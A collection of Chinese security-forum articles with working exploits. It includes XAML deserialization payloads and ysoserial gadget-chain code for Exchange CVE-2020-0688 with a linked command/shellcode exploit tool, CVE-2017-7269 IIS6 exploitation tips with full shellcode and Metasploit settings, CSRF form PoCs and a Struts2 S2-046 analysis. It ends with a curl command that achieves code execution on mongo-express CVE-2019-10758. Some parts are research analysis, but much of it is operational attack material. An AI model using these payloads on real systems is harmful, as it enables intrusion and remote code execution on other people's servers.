xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:s="clr-namespace:System;assembly=mscorlib"
xmlns:io="clr-namespace:System.IO;assembly=mscorlib">
<ObjectDataProvider x:Key="x" ObjectType="{x:Type io:File}" MethodName="WriteAllText">
<ObjectDataProvider.MethodParameters>
<s:String>C:Program FilesMicrosoftExchange ServerV15ClientAccessecpLiveIdError.aspx</s:String>
<s:String></s:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
编译执行访问，均可在ecp目录创建LiveIdError.aspx文件。
### 0x43 优化文件写入
显然，粗暴的方式有着各种各样的缺点，对于完美主义者，还需要找到其他方式进行规避。
我们现在已知绝对路径存放于`%ExchangeInstallPath%`，那么只要将其取出作为`ObjectDataProvider.MethodParameters`的第一个参数即可。但通过ObjectDataProvider调用方法的后，存放于ResourceDictionary中的实际上还是一个ObjectDataProvider实例，直接将其作为参数传入会抛出异常，所以需要一个能够调用方法且返回类型本身的方式。
在查询xaml官方文档后可以找到`x:FactoryMethod`指令，该指令用于对象初始化。其实现为通过调用静态方法并强制转换为xaml元素指定的对象类型，完全符合需求。
那么解决方案也就很简单了：在`s:String`元素上以`FactoryMethod`方式调用`[mscorlib]System.Environment::GetEnvironmentVariable`获取安装路径，之后以同样方式调用`[mscorlib]System.String.Concat`拼接文件名，最后调用`AppendAllText`写入文件。
完整的xaml如下：
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:s="clr-namespace:System;assembly=mscorlib"
xmlns:w="clr-namespace:System.Web;assembly=System.Web">
<s:String x:Key="a" x:FactoryMethod="s:Environment.GetEnvironmentVariable" x:Arguments="ExchangeInstallPath"/>
<s:String x:Key="b" x:FactoryMethod="Concat">
<x:Arguments>
<StaticResource ResourceKey="a"/>
<s:String>ClientAccessecpLiveIdError.aspx</s:String>
</x:Arguments>
</s:String>
<ObjectDataProvider x:Key="x" ObjectType="{x:Type s:IO.File}" MethodName="AppendAllText">
<ObjectDataProvider.MethodParameters>
<StaticResource ResourceKey="b"/>
<s:String></s:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
<ObjectDataProvider x:Key="c" ObjectInstance="{x:Static w:HttpContext.Current}" MethodName=""/>
<ObjectDataProvider x:Key="d" ObjectInstance="{StaticResource c}" MethodName="get_Response"/>
<ObjectDataProvider x:Key="e" ObjectInstance="{StaticResource d}" MethodName="End"/>
</ResourceDictionary>
此xaml等同于以下C#代码：
string a=Environment.GetEnvironmentVariable("ExchangeInstallPath");
string b=string.Concat(a,"ClientAccessecpLiveIdError.aspx");
File.AppendAllText(b,"");
HttpContext.Current.Response.End();
编译执行访问，可在未知绝对路径的情况下无感知地创建我们需要的空白文件。
### 0x44 高级操作与ysoserial.net缺陷
通过第一阶段创建的白名单文件，可以将不足`2048字节`的payload拓展到IIS默认的`4M`上限，这样我们就能通过更大的payload进行高级操作。
所谓高级操作，就是以`不落地`的方式在当前进程`内存`中执行`任何操作`，包括但不限于执行命令并回显、读写文件、加载ShellCode、后渗透等等。在.net无限制反序列化的环境前提下，可以通过`ObjectSerializedRef`反序列化`LinqIterator`对象在内存中加载.net程序集并实例化，最终实现任意代码执行。这个方式在yssoserial.net中以`ActivitySurrogateSelectorGenerator`和`ActivitySurrogateSelectorFromFileGenerator`进行实现。
`ActivitySurrogateSelectorFromFileGenerator`提供一个将C#源码编译为程序集并在远程加载的功能，首先创建以下测试代码：
class E
{
public E()
{
try
{
System.Diagnostics.Process.Start("notepad");
System.Web.HttpContext.Current.Response.Write("exploit!");
System.Web.HttpContext.Current.Response.End();
}
catch{}
}
}
之后执行以下命令生成payload。这里注意，为了保证测试效果防止提前踩坑，请`暂时在目标`Exchange服务器上执行：
ysoserial -g ActivitySurrogateSelectorFromFile -f BinaryFormatter -c exploitclass.cs;System.Web.dll;System.dll >o.dat
修改之前的反序列化测试程序，编译执行访问，不出意外的话可以得到以下结果：
成功创建子进程notepad，回显输出exploit!，表明上述代码已经在远程执行。接下来对代码进行自定义修改即可进行任何操作，例如命令回显、ShellCode等等。
看似一切完美？其实并不。现在可以打开`C:WindowsMicrosoft.NETFramework64v4.0.30319`目录，查看`System.Core.dll`的文件版本。例如当前测试环境为`4.7.3362.0`，表示fx版本为`4.7.x`。
下面来模拟真实环境远程生成payload。真实环境下不可能知道对方的fx版本（返回头中的版本号永远都是4.0.30319），所以常规做法是通过ysoserial.net直接生成一个payload并发送。
例如通过同样的方式，在文件版本`4.6.1098.0`（对应fx版本`4.6.x`）的环境下能够成功生成payload，但继续编译执行访问，不会得到任何结果。
如果将这个payload复制到Exchange服务器并使用以下Powershell脚本进行测试，会得到一个`TypeLoadException`：
$fmt=new-object System.Runtime.Serialization.Formatters.Binary.BinaryFormatter;
$mft.Deserialize((new-object System.IO.FileStream("o.dat",'Open','Read')));
根据错误信息对应到`[System.Core]System.Linq.Enumerable`类，可以看到在fx
4.7.x的程序集中这个类的名称由`Enumerable+<SelectManyIterator>d__16`变成了`Enumerable+<SelectManyIterator>d__17`。
反序列化时找不到类型自然无法创建实例，最终导致利用失败。
### 0x45 构造完美的反序列化数据
解决这个问题需要结合ActivitySurrogateSelectorGenerator以及LinqIterator的源码进行分析。
首先要理解ActivitySurrogateSelectorGenerator的工作原理，其逻辑非常简单：通过`linq`调用，顺序执行`Assembly::Load(byte[])`、`Assembly.GetTypes()`、`Activator::CreateInstance(Type)`，从而`实例化`由字节数组存储的程序集中定义的类，达到代码执行的效果。整体流程大致等价为以下C#代码：
foreach(byte[] data in byte[][])
{
foreach(Type t in Assembly.Load(data).GetTypes())
{
Activator.CreateInstance(t);
}
}
而序列化保存的数据大部分都是在Linq调用过程中用于返回数据的`迭代器`或`枚举器`。
之后，在ilspy中查找`Enumerable+<SelectManyIterator>d__17`的引用，可发现在`System.Linq.Enumerable.SelectManyIterator`方法进行调用，反编译可以看到以下代码：
可以看到是一个`迭代器语法糖`，很明显是由编译器`自动生成`的状态机类。实际上，类型名中的`16`/`17`为编译期间由编译器内部维护的一个序号，随着自动生成的类增加而增长，所以在不同版本的fx中不一定相同。
为了避免这样的问题，继续查找是哪个调用导致将此对象写入了序列化数据中。迭代器的上级调用有且只有`System.Linq.Enumerable.SelectMany`，而这正是在ActivitySurrogateSelectorGenerator中调用的拓展方法：
var e2 = e1.SelectMany(map_type);
现在最后的问题就转换成了如何将`SelectMany`替换为其他等价表达式。根据代码以及生成的数据可以知道，`Where`表达式/拓展方法返回的`WhereSelectEnumerableIterator`不会调用自动生成的类，是一个较好的序列化目标。
`WhereSelectEnumerableIterator`中包含两个委托`selector`和`predicate`。其中selector的签名为`Func<T,R>`，可以调用诸如`Assembly.Load`等静态方法将一个对象转换为另外的对象，或是在一个对象实例上调用`无参方法`；predicate的签名为`Func<T,bool>`，会作为条件判断在selector`之前`进行调用。
缺失的调用链中`GetTypes`返回一个Type数组，由`[mscorlib]System.Array`基类实现`IEnumerable`接口，于是可以调用`GetEnumerator`方法，获取一个`IEnumerator`对象。
通过获取`IEnumerator`对象的`Current`属性，可以得到Type实例，在获取之前需要调用`MoveNext`方法，该方法的签名恰好和predicate匹配。
所以最后不难得出以下调用链：
Activator.CreateInstance(Assembly.Load(byte[]).GetTypes().GetEnumerator().{MoveNext(),get_Current()})
对应的代码为：
static IEnumerable<TResult> GetEnum<TSource,TResult>
(
IEnumerable<TSource> src,
Func<TSource, bool> predicate,
Func<TSource, TResult> selector
)
{
Type t=Assembly.Load("System.Core, Version=3.5.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089")
.GetType("System.Linq.Enumerable+WhereSelectEnumerableIterator`2")
.MakeGenericType(typeof(TSource),typeof(TResult));
return t.GetConstructors()[0].Invoke(new object[]{src,predicate,selector}) as IEnumerable<TResult>;
}
IEnumerable<Assembly> e2=GetEnum<byte[],Assembly>(new byte[][]{File.ReadAllBytes("RemoteStub.dll")},null,Assembly.Load);
IEnumerable<IEnumerable<Type>> e3=GetEnum<Assembly,IEnumerable<Type>>(e2,
null,
(Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate
(
typeof(Func<Assembly, IEnumerable<Type>>),
typeof(Assembly).GetMethod("GetTypes")
)
);
IEnumerable<IEnumerator<Type>> e4 = GetEnum<IEnumerable<Type>,IEnumerator<Type>>(e3,
null,
(Func<IEnumerable<Type>,IEnumerator<Type>>)Delegate.CreateDelegate
(
typeof(Func<IEnumerable<Type>,IEnumerator<Type>>),
typeof(IEnumerable<Type>).GetMethod("GetEnumerator")
)
);
IEnumerable<Type> e5 = GetEnum<IEnumerator<Type>,Type>(e4,
(Func<IEnumerator<Type>,bool>)Delegate.CreateDelegate
(
typeof(Func<IEnumerator<Type>,bool>),
typeof(IEnumerator).GetMethod("MoveNext")
),
(Func<IEnumerator<Type>,Type>)Delegate.CreateDelegate
(
typeof(Func<IEnumerator<Type>,Type>),
typeof(IEnumerator<Type>).GetProperty("Current").GetGetMethod()
)
);
PagedDataSource pds = new PagedDataSource() { DataSource = e5 };
//....
ls.Add(e1);
ls.Add(e2);
# ls.Add(e3);
ls.Add(e4);
ls.Add(e5);
ls.Add(pds);
//....
注意，通过`链式Select`会调用`WhereSelectEnumerableIterator.Select`方法，此方法的调用过程中使用了`lambda表达式`，同样会导致序列化编译器自动生成的类，所以只能通过反射进行创建。`RemoteStub.dll`为需要在远程加载执行的dll。
修改ActivitySurrogateSelectorGenerator并重新生成payload，其中不再包含任何自动生成类。编译执行访问成功加载执行我们指定的程序集，至此漏洞利用圆满达成。
## 0x50 Exp
有了上述研究结论，编写出更为通用的exp也就不难了，可以在<http://github/zcgonvh/CVE-2020-0688> 进行下载。
其中ExchangeDetect为检测程序，原理基于0x31一节所述，可以在`CoreCLR`环境下运行。仅支持单个检测，存在漏洞的话`ExitCode`将返回4。如果需要批量检测请自行修改或判断返回值。
执行结果如图所示：
ExchangeCmd为Exp，支持命令执行和远程ShellCode加载，其原理基于0x41-0x45小节所述。第一阶段通过反序列化写入空白`LiveIdError.aspx`，第二阶段通过向此文件发送最终的Payload加载指定自定义dll，达到代码执行。
执行成功后会返回一个伪交互式命令行，其支持的命令如下：
exec <cmd> [args]
exec command
arch
get remote process architecture(for shellcode)
shellcode <shellcode.bin>
run shellcode
exit
exit program
在本地测试环境执行的结果如图所示：
RemoteStub为此Exp发送的dll，所有的交互都已进行加密，其执行`whoami /all`产生的数据如图所示： | 社区文章 |
之前在测试过程中发现低版本的java环境存在00截断，可以用于实现文件后缀校验绕过。
先考虑一下下面这个案例是否存在任意文件下载：
示例中文件目录path不可被外界控制，但是使用外界可控的字符串taskID进行文件路径拼接。对File类进行实例化时，参数直接使用上述拼接后得到的字符串，且没有进行标准化处理和合法性验证。
可能有人会认为，在动态拼接路径后添加硬编码的文件扩展名，并且在下载文件前，验证文件是否存在，即使taskID中存在“../”等危险字符，考虑到硬编码的文件后缀，代码的执行还是会进入文件不存在的分支，从而避免任意文件下载。
但是真实情况并非如此，该代码段是否会造成任意文件下载，要考虑到应用程序运行时使用的java版本。
下面给出示例：
* 示例一
第一个示例运行在java1.6中，假设参数bytes为上文的taskID（外界可控参数），bytes后拼接硬编码的“.txt”。从运行结果可以看到，通过getCanonicalPath函数获取归一化后的真实路径，并不含我们拼接的“.txt”。这是由于参数bytes中含有0x00，且1.6版本的java中，File类对文件路径校验不够严格，最终生成的文件路径丢弃了0x00后的字符。
* 示例二
第二个示例运行在java1.8中，可以看到在该环境下，createNewFile函数抛出了异常，无法实现路径穿越。
看过案例后我们再来看一下1.8和1.6的java.io.File有什么不同。（不同操作系统下，FileSystem不同，windows系统使用WinNTFileSystem，类Unix系统下使用UnixFileSystem，下文的fs统一取WinNTFileSystem）
首先明确：java中的String类型不以‘\u0000’作为字符串结束标志，而C/C++中会以0x00等特定字符作为字符数组/串的结束标志。
先看java1.8的File类。
File类的几个构造函数，主要作用是对path和prefixLength这两个成员变量赋值，跟进normalize函数后，发现该函数主要是对文件路径进行处理，主要处理的是“\”和“/”这两个符号，由于这里不是这次分析的重点，就不详细展开。从构造函数可知，若实例化File类的字符串含有‘\u0000’（即ASCII：0x00），则成员变量path中也含有‘\u0000’，同时包含‘\u0000’之后的字符。
以createNewFile函数为例，该函数在真正执行创建文件前，进行了两次检查。第二次检查if(isInvalid())是这次要关注的重点，进入isInvalid函数。
isInvalid函数检查了是否含有‘\u0000’，若含有该字符则返回true，最终导致createNewFile函数抛出IO异常。
File类中大量函数在真正执行文件操作前都调用isInvalid函数进行校验，因此1.8版本中的java中不存在0x00截断问题。不止是File类，java1.8中的FileInputStream、FileOutputStream中，也间接调用了File类的isInvalid函数，提高了文件操作API的安全性。
Java1.6中的File类并没有检查是否含有0x00。
到此为止，可知1.6,1.8两个版本的java.io.File，java层的主要区别在于对文件操作前是否调用isInvalid()函数检查成员变量path中是否含有‘\u0000’。但是并没有解释在创建/删除文件时，为何成员变量中，‘\u0000’后的字符会被丢弃。这里需要进入native层进行分析，这里同样以createNewFile函数为例。
一系列检查通过后，createNewFile函数执行return
fs.createFileExclusively(path)，这里传入的path即为File类的成员变量path。该方法用于创建文件，逻辑如下：
1. pathToNTPath函数，将路径转成宽字符类型的字符串（java使用的Unicode编码是宽字符，每个字符长度为2字节）。
2. isReservedDeviceNameW函数，判断路径是否为系统保留设备名。
3. 调用 CreateFileW 函数创建文件，使用了 CREATE_NEW 模式，仅仅在不存在该文件时才创建。
4. 如果已经存在该文件，尽量不抛出异常，而是返回 false，此过程还会尝试读取该文件的属性，失败则抛IO异常。
在将路径转换成宽字符形式时，由于C/C++中宽字节字符数组/串（wchar_t即WCHAR）会以0x0000为字符串结尾（如下示例）
导致java层传递进来的String：path如果含有‘\u0000’，在
WCHAR *pathbuf = pathToNTPath(env, path, JNI_FALSE);
执行之后，pathbuf就不含有‘\u0000’之后的字符了。
继续执行createFileW时使用了pathbuf参数，创建的文件的真实路径自然不包含‘\u0000’之后的字符。由此出现了00截断现象。
5. 其他
以java为开发语言的web应用程序中，大量使用MultipartFile实现文件上传，以下是个测试demo。
上传文件后抓包修改filename字段，插入byte类型的数据00，发送后服务器报错。
直接跟进fileupload.util.Streams.checkFileName，可见该函数对文件名进行了校验，若文件名中存在‘\u0000’则抛出异常，减少使用MultipartFile.getOriginalFilename()拼接文件名带来的风险。
除此之外CommonsMultipartFile实现getOriginalFilename()函数时，返回值filename取最后一个文件分隔符后的字符串，也能缓解上传文件时跨路径上传的风险。 | 社区文章 |
(为什么标题中的0x2d总是被吃……)
看过了分析，来说说利用的几个小技巧。
1. 漏洞适用范围
原poc上面只写了适用于03 r2，实际上最常见的03 sp2也可以直接复现，这样子看来攻击范围是很大的，毕竟国内卖的大部分03都是企业版sp2。
测试了英文版03 sp2同样成功，更多的版本没环境测试。
2.漏洞不成功的问题
抛去所有不能利用的问题不谈，当条件都符合的时候，还可能有四点导致失败（以坑爹程度倒序排列）。
第一点是端口和域名绑定问题：
一般来说本地测试都直接对iis的默认站点下手，默认站点没有任何绑定，所以不会出现任何问题。
而实际上，和http头中的HOST字段一样，If头信息中的两个url是要求和站点绑定相匹配的，而且必须域名和端口完全匹配，否则只能收到一个502。
例如测试某个只绑定了8080端口的站点要改为<http://localhost:8080/，测试绑定域名为zcgonvh.com、端口为8888的站点要改为http://zcgonvh.com:8888/等等。>
当然，Exp是不会受影响的：
（测试的时候要注意：修改完配置请重启iis，或者在不超过禁用阈值的前提下结束w3wp进程。下面凡是需要修改iis配置才能做的测试都是这样。）
第二点是64位的问题，虽然不常见，但03真的是有64位的。
64位的池其实还好，SEH会处理异常，不会导致崩溃：
而如果开启了32位应用程序池，则会导致崩溃：
调试发现错误出现在ROP链上，客户端的连接会直接断开且没有任何数据返回。
解决方式：更改ROP。
64位03毕竟不多，遇到的时候再说。
这样的的32位环境可以用下面的方式搭建：
[code]cscript.exe %SYSTEMDRIVE%\inetpub\adminscripts\adsutil.vbs SET
W3SVC/AppPools/Enable32bitAppOnWin64 1
iisreset[/code]
之后关闭所有的web服务扩展，添加一个新扩展指向%systemroot%\syswow64\inetsrv\httpext.dll，并启用。
第三点是物理路径问题，没错，就是物理路径。
根据分析《CVE-2017-7269
IIS6.0远程代码执行漏洞分析及Exploit》(<http://whereisk0shl.top/cve-2017-7269-iis6-interesting-exploit.html)，进行调试，可以看到用于覆盖的缓冲区：>
显然，这就是If头中第一个Url经过MapPath后得到的物理路径，不是默认路径同时目录长度（包括结尾的反斜杠）不为19，那么出错是必然的。
第二个Url也是一样，如果因为这个原因出错，会返回一个500错误。
解决方法很简单：更改长度即可。
路径小于19的可以简单的进行添加：
而实际中路径常常大于19，需要对padding进行删除。ROP和stackpivot前面的padding实际上为UTF8编码的字符，每三个字节解码后变为两个字节的UTF16字符，在保证Exp不出错的情况下，有0x58个字符是没用的。所以可以将前0x108个字节删除，换成0x58个a或b。
最后的Poc大致是这样的：
真正要实现稳定远程利用的话，还需要对物理路径长度进行爆破。
红框中是103个a，物理路径是c:\inetpub\，加起来是114。除去盘符，还剩111。所以可以把Exp的padding增加至111，并逐次进行减少。当长度不匹配时返回500，成功时自然返回200。
一般来说物理路径长度超过114的站点几乎没有，足够了。如果能通过某些方式泄露物理路径的话，用114减去物理路径长度（包括末尾的反斜杠）就是所需的padding长度。
最后一点，也是最坑爹的地方：超时问题。简单一点来说就是当exp执行成功一段时间之后(大概十分钟到二十分钟左右，其间无论有无访问，被windbg挂起的时间不算)，再对这个站点执行exp永远不会成功，同时返回400。
如果对w3wp挂个调试器，就能看到发生了一次访问违例，当然由于SEH并不会导致网站挂掉。
此时与该站点处于相同池的其他站点会全部挂掉，http code为500，错误信息为参数不正确：
和这个类似的还有提交了多次出错的shellcode的情况，错误的shellcode会覆盖很多不该覆盖的地方，最后连正常的exp都会返回500甚至什么都不返回。
以及同一个应用程序池下多个站点的情况，有时对某一个站点执行exp，会导致同应用程序池下面所有的网站全部返回500，只有这个站点能正常工作。
遇到类似的情况只能等待w3wp重启，默认情况下20分钟没有请求iis就会回收这个进程，但实际上这个进程永远不会回收。
可以尝试的解决方式：找旁站，因为每个池都是独立的w3wp进程，换一个可能在其他池的进行尝试。
还可以开多线程跑几万次静态文件，有的虚拟主机会配置请求总数满足一个阈值则回收。
（拿到meterperter之后就快些提权吧，顺便帮管理员重启一遍iis……）
3.msf的傀儡进程
默认情况下msf会开启一个计算器，不排除有奇葩管理员为了防止伸手党于是禁掉的可能。
解决方法：配置PrependMigrateProc选项换个exe，例如：
set PrependMigrateProc w3wp.exe
4.批量扫描的指纹
标准情况下，OPTIONS /应当返回200，返回头中Allow字段应当包含PROPFIND
不过有些时候防火墙会拦截OPTIONS，那么可以试试PROPFIND /，应当返回207，Content-Type为text/xml：
若求精准，还可以对支持.net的网站加上iis6短文件名漏洞，毕竟这漏洞不需要验证，只需确定是03：
初始化.net环境
GET /1.aspx
假如有已知长名文件ABCDEFGHI.jpg
GET /A*~1.jpg/1.aspx 404
GET /B*~1.zzz/1.aspx 400
如果只为了验证而不考虑其他（还记得十分钟之后会发生的事情么？），直接用exp验证也是可以的。
在<https://ht-sec.org/cve-2017-7269-hui-xian-poc-jie-xi/看到了回显的思路，当然是不能拿来直接用的，如果直接用只会导致w3wp重启，默认五次之后就会关闭当前池导致网站挂掉。>
解决方法也很简单，由于每次请求都在独立线程中，那么直接在shellcode最后加入ExitThread退出即可。为了通用且简单这里选用0x010b
syscall，最后的shellcode为：
[code]VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJIOPKSKPKPTKLITKKQDKU0G0KPKPM00QQXI8KPM0M0K8KPKPKPM0QNTKKNU397O00WRJKPSSI7KQR72JPXKOXPP3GP0PPP36VXLKM1VZM0LCKNSOKON2KPOSRORN3D35RND4NMPTD9RP2ENZMPT4352XCDNOS8BTBMBLLMKZOSROBN441URNT4NMPL2ERNS7SDBHOJMPNQ03LMLJPXNM1J13OWNMOS2H352CBKOJO0PCQFOUNMOB00NQNWNMP7OBP6OILMKZLMKZ130V15NMP2P0NQP7NMNWOBNV09KPM0A[/code]
5.关于权限的问题
2003在15年7月就停止更新了，所以16年的exp全部通吃。
iis进程自带三大特权，直接用16032就好，毕竟逻辑漏洞最稳定，就算因为某些原因失败了也不会蓝屏之类。
至于16032的缓解措施，我猜到了现在还用着03的多数不会去禁服务才对。
附件：包含一个和谐了padding的msf模块，顺便给msf模块加了个长度参数。
对应站点配置为：
大致很接近真实环境了。
Github: <https://github.com/zcgonvh/cve-2017-7269> | 社区文章 |
## 一次CSRF测试引发的思考
### 事件发生的前奏
在一次CSRF测试中，绕过了一切防护，原本以为快要成功了然而事情并没有那么简单。。。。
<https://*.huaweicloud.com/xxxx>
我说这个地方有csrf，但是有点奇怪
1没关系 2可删除，你bp可以重放一个cookie正确的referer删除掉，origin换成你本地ip
登陆状态下点了之后会提示说未登陆导致csrf post不成功,origin referer都没验证，这个站同一个浏览器里点了cookie会改变
别的一般bypass 了 referer token origin **X-Request-with** 基本就成功了。
_题外小记：说下BypassX-Request-with_
_具体可见下图：_
_其中[BypassX-Request-With-POC](https://github.com/Qclover/CSRF/blob/master/BypassX-Request-With)为上图测试中用到的POC_
_某SRC_
于是，进入沉思，找到原因才能找到解决办法。又仔细查看浏览器的数据包，最后找到了这个
对于Samesite的解释。
参考[一篇Samesite文章](https://www.cnblogs.com/ziyunfei/p/5637945.html)，看完后顿时又卡了，再一次进入了沉思。。。。
### 跨站请求伪造真的死了？
脑补了SameSite防护机制后，可以知道若SameSite
cookie设置为严格模式，点击链接到打开站点时，将无法登录。无论是否已登录，在新标签中打开，无论您做什么，都不会从该访问的链接登录到站点。而在该测试中的上面网站已将SameSite保护设置为Lax模式，可以解决用用户点击链接时严格模式中所遇到的问题，如果他们已经登录，则不会在目标站点上再次需要登录。
在Lax模式下，只有一个例外允许cookie到附加到使用安全HTTP方法的顶级导航。“安全”HTTP方法在[RFC
7321的4.2.1节](https://tools.ietf.org/html/rfc7231#section-4.2.1)中定义为GET，HEAD，OPTIONS和TRACE。此处的GET方法引起了我的注意。按照GET方法在定义中的解释，也就意味着,登陆情况下，浏览到顶级的`https://target.com`域名网站，当用户点击链接时，浏览器发出请求时会附加了SameSite标记的cookie，从而保持了预期的用户体验。当然，我们还完全受到基于POST的CSRF攻击的保护。回该测试中，并简化一下CSRF
POC，此攻击仍然无法在Lax模式下工作。
<form action="https://your-bank.com/transfer" method="POST" id="stealMoney">
<input type="hidden" name="to" value="Scott Helme">
<input type="hidden" name="account" value="14278935">
<input type="hidden" name="amount" value="£1,000">
由于POST方法不被认为是安全的，因此浏览器不会在请求中附加cookie。由此解答了沉思中的一点疑惑了解了问题的症结。
我又提出了新问题——So，存在绕过吗？
答案是：可以的，但有条件。
又继续找了下资料，若网站接受GET请求代替POST请求，那么，攻击者当然可以自由地将方法更改为“安全”方法并发出相同的请求。
<form action="https://your-bank.com/transfer" method="GET" id="stealMoney">
<input type="hidden" name="to" value="Scott Helme">
<input type="hidden" name="account" value="14278935">
<input type="hidden" name="amount" value="£1,000">
防护：
只要我们不接受GET请求代替POST请求，那么这种攻击是不可能的，但是在Lax模式下操作时需要注意。此外，如果攻击者可以触发顶级导航或弹出新窗口，他们还可以使浏览器发出附加了cookie的GET请求。这是在Lax模式下运营的权衡，我们保持用户体验不变，但接受付款的风险很小。
将SameSite属性添加到cookie中。它形成了一个非常好的防御深度方法。我们可以考虑删除传统的反CSRF机制，但是在这些机制之上添加SameSite会给我们带来难以置信的强大防御。 | 社区文章 |
# 【漏洞分析】Strust2 S2-046 远程代码执行漏洞两个触发点分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**传送门**
[**【重大漏洞预警】Struts 2 远程代码执行漏洞(s2-045s2-046)
(含PoC)**](http://bobao.360.cn/learning/detail/3571.html)
**
**
**0x00 漏洞介绍**
S2-046漏洞和S2-045漏洞非常相似，都是由报错信息带入了buildErrorMessage这个方法造成的。 但是这次存在两个触发点。
Content-Length 的长度值超长
Content-Disposition的filename存在空字节
**0x01 漏洞分析**
**Content-Length 的长度值超长**
这个漏洞需要在strust.xml中加入 <constant name="struts.multipart.parser" value="jakarta-stream" />才能触发。
触发漏洞的代码在 JakartaStreamMultiPartRequest类中，processUpload函数处理了content-length长度超长的异常，导致问题触发。
private void processUpload(HttpServletRequest request, String saveDir)
throws Exception {
// Sanity check that the request is a multi-part/form-data request.
if (ServletFileUpload.isMultipartContent(request)) {
// Sanity check on request size.
boolean requestSizePermitted = isRequestSizePermitted(request);
// Interface with Commons FileUpload API
// Using the Streaming API
ServletFileUpload servletFileUpload = new ServletFileUpload();
FileItemIterator i = servletFileUpload.getItemIterator(request);
// Iterate the file items
while (i.hasNext()) {
try {
FileItemStream itemStream = i.next();
// If the file item stream is a form field, delegate to the
// field item stream handler
if (itemStream.isFormField()) {
processFileItemStreamAsFormField(itemStream);
}
// Delegate the file item stream for a file field to the
// file item stream handler, but delegation is skipped
// if the requestSizePermitted check failed based on the
// complete content-size of the request.
else {
// prevent processing file field item if request size not allowed.
// also warn user in the logs.
if (!requestSizePermitted) {
addFileSkippedError(itemStream.getName(), request);
LOG.warn("Skipped stream '#0', request maximum size (#1) exceeded.", itemStream.getName(), maxSize);
continue;
}
processFileItemStreamAsFileField(itemStream, saveDir);
}
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
触发点在
LOG.warn("Skipped stream '#0', request maximum size (#1) exceeded.", itemStream.getName(), maxSize);
之后进入了函数addFileSkippedError，我们又见到了熟悉的buildErrorMessage，而这次带入的参数为fileName
private void addFileSkippedError(String fileName, HttpServletRequest request) {
String exceptionMessage = "Skipped file " + fileName + "; request size limit exceeded.";
FileSizeLimitExceededException exception = new FileUploadBase.FileSizeLimitExceededException(exceptionMessage, getRequestSize(request), maxSize);
String message = buildErrorMessage(exception, new Object[]{fileName, getRequestSize(request), maxSize});
if (!errors.contains(message))
errors.add(message);
}
**Content-Disposition的filename存在空字节**
第二种触发漏洞的方式，属于直接触发，在streams.class中，会对filename进行检查，如果检查出错，也会记录log。
public static String checkFileName(String fileName) {
if (fileName != null && fileName.indexOf('u0000') != -1) {
// pFileName.replace("u0000", "\0")
final StringBuilder sb = new StringBuilder();
for (int i = 0; i < fileName.length(); i++) {
char c = fileName.charAt(i);
switch (c) {
case 0:
sb.append("\0");
break;
default:
sb.append(c);
break;
}
}
throw new InvalidFileNameException(fileName,
"Invalid file name: " + sb);
}
return fileName;
}
最终进入的是JakartaStreamMultiPartRequest类的，我们又见到了buildErrorMessage
public void parse(HttpServletRequest request, String saveDir)
throws IOException {
try {
setLocale(request);
processUpload(request, saveDir);
} catch (Exception e) {
e.printStackTrace();
String errorMessage = buildErrorMessage(e, new Object[]{});
if (!errors.contains(errorMessage))
errors.add(errorMessage);
}
}
**0x02 规则添加注意点**
由于存在两种方式，因此规则不是很好添加。且存在一定情况的bypass可能。
由于strust2会对data字段逐字解析，filename后可以跟如下几种情况。
多个空格
多个空格，且里面可以添加rn
n个空格
b不可当成检测字符，b可以被替换成000,a – z 等等。
**0x03 漏洞修复**
升级版本到 2.3.32 、 2.5.10.1
**传送门**
* * *
**[【重大漏洞预警】Struts 2 远程代码执行漏洞(s2-045s2-046)
(含PoC)](http://bobao.360.cn/learning/detail/3571.html)** | 社区文章 |
早上室友说发了一则mongo-express的预警，正好看到陈师傅也发了twitter，动手分析一下，如有差错还望指正
# 漏洞复现
漏洞环境:
<https://github.com/mongo-express/mongo-express#readme>
<https://github.com/masahiro331/CVE-2019-10758>
自己从官方拉到本地+mongodb的服务端或者docker起一个未授权的mongo端都可以，poc直接就能打出来
curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator")'
# 漏洞触发点
文件`express-mongo/node_modules/mongo-express/lib/router.js`进行路由事件的方法绑定
路由事件checkvalid对应的方法在文件`express-mongo/node_modules/mongo-express/lib/routes/document.js`，调用了`toBSON`
在toBSON函数中将传入的参数放进vm沙箱里去eval
exports.toBSON = function (string) {
var sandbox = exports.getSandbox();
string = string.replace(/ISODate\(/g, 'new ISODate(');
string = string.replace(/Binary\(("[^"]+"),/g, 'Binary(new Buffer($1, "base64"),');
vm.runInNewContext('doc = eval((' + string + '));', sandbox);
return sandbox.doc;
};
绕一下vm逃逸出来沙箱即可，详情可以看这篇文章[Sandboxing NodeJS is hard, here is
why](https://pwnisher.gitlab.io/nodejs/sandbox/2019/02/21/sandboxing-nodejs-is-hard.html)
# 其他触发点
还有一处对mongo传值的地方也存在bson的问题，只是要校验是否存在数据库&表名，利用起来没有checkValid的链方便，不过大多数mongo库都会存在local的库+start_log这个collection
# 需不需要验证
`mongo-express`把原始config对象写在config.default.js文件中。
漏洞分析中的poc需要进行权限鉴定，也就是poc中使用了请求头`Authorization: Basic
YWRtaW46cGFzcw==`的原因。删掉后请求则会返回未授权
但是如果以cli+指定用户形式启动服务端与mongo的连接时，则不需要授权也能打(个人认为这种方式更常见一点?)
下面是关于mongo-express调用`basic-auth-connect`的认证简单分析
## 认证流程分析
程序入口逻辑是这样的，如果你程序启动的时候给一个-u&-p参数则`config.useBasicAuth`为false，而`config.useBasicAuth`在加载配置的阶段默认为true
if (commander.username && commander.password) {
...
config.useBasicAuth = false;
}
